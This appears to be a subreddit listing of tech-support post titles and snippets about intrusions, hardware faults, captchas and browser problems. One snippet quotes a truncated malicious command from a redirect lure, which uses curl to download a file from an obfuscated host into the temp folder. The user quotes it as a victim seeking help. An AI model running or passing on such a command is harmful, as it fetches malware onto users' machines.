- I just woke up to someone remote controlling my desktop
I’m so unbelievably stunned that this just happened. Around 5:15AM I went to put my pc back to sleep because I assumed my cat stepped on my keyboard and woke it up. I was fidgeting with my mouse...
1,318 points189 comments4 d ago
- Can my college see my incognito history on my laptop?
Hi, i have been using my account on my personal home laptop connected to my wifi. I have been on incognito mode on the Edge browser, using my personal account. However, my college account is also...
79 points72 comments5 d ago
- PC is dead. Tried new PSU and Mobo without luck
Last night my PC turned off without any error message or blue screen and wouldn't turn back on. No lights, no fan activity. I thought it was probably a PSU issue so I bought a new, didn't change a...
15 points33 comments6 d ago
- RTX 5070 getting extremely poor gaming performance despite GPU RMA and fresh Windows install. looking for ideas
I’ve been troubleshooting this PC for months and I’m running out of ideas. I’m hoping someone with experience diagnosing GPU, PSU, motherboard, or PCIe problems might have some suggestions. The...
15 points42 comments6 d ago
- Google Captcha requests
Recently I have been getting a lot of captcha requests when I google things. Has this happened to anyone else? Its not every search but its once or twice a day. How do I fix or reduce this from...
14 points7 comments6 d ago
- What is happening on my browsers?
All of a sudden, in all my browsers, I have been receiving constant ReCAPTCHA requests followed by "we've detected unusual traffic coming from your network," constantly being signed out of all...
13 points13 comments3 d ago
- Is micro-stutters in PC games just a normal thing?
My desktop specs: RTX 4070 Ti Super i7-14700KF 32Gb memory SSD Windows 11 4K@120Hz Monitor Sometimes I just met micro-stutters in my PC games. Those stutters were very very tiny, but I could...
12 points59 comments6 d ago
- All devices suddenly stopped receiving Internet.
So I have 3 computers and 2 cell phones in my house, that all lost internet connection 2 days ago. 2 desktops, wired via Ethernet, a laptop on wifi and 2 phones on wifi. None of which are able to...
11 points48 comments5 d ago
- Chrome redirected me to a malicious script -- is Windows reinstallation the only option?
Windows 11. I typed reddit.com in my browser's (Chrome) address bar, and I got redirected to this URL: !"\\VSCMD\WIN\64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\\grande.txt 1494707140\[/\]757&&...
11 points29 comments6 d ago
- Potential water damage on Laptop - what should I do?
Ok I don’t know if this is the right place for this type of post, so if it’s not then please do redirect me to a better suited subreddit 🙏🏽 Yesterday, I spilt some tap water on the keyboard of...
9 points11 comments4 d ago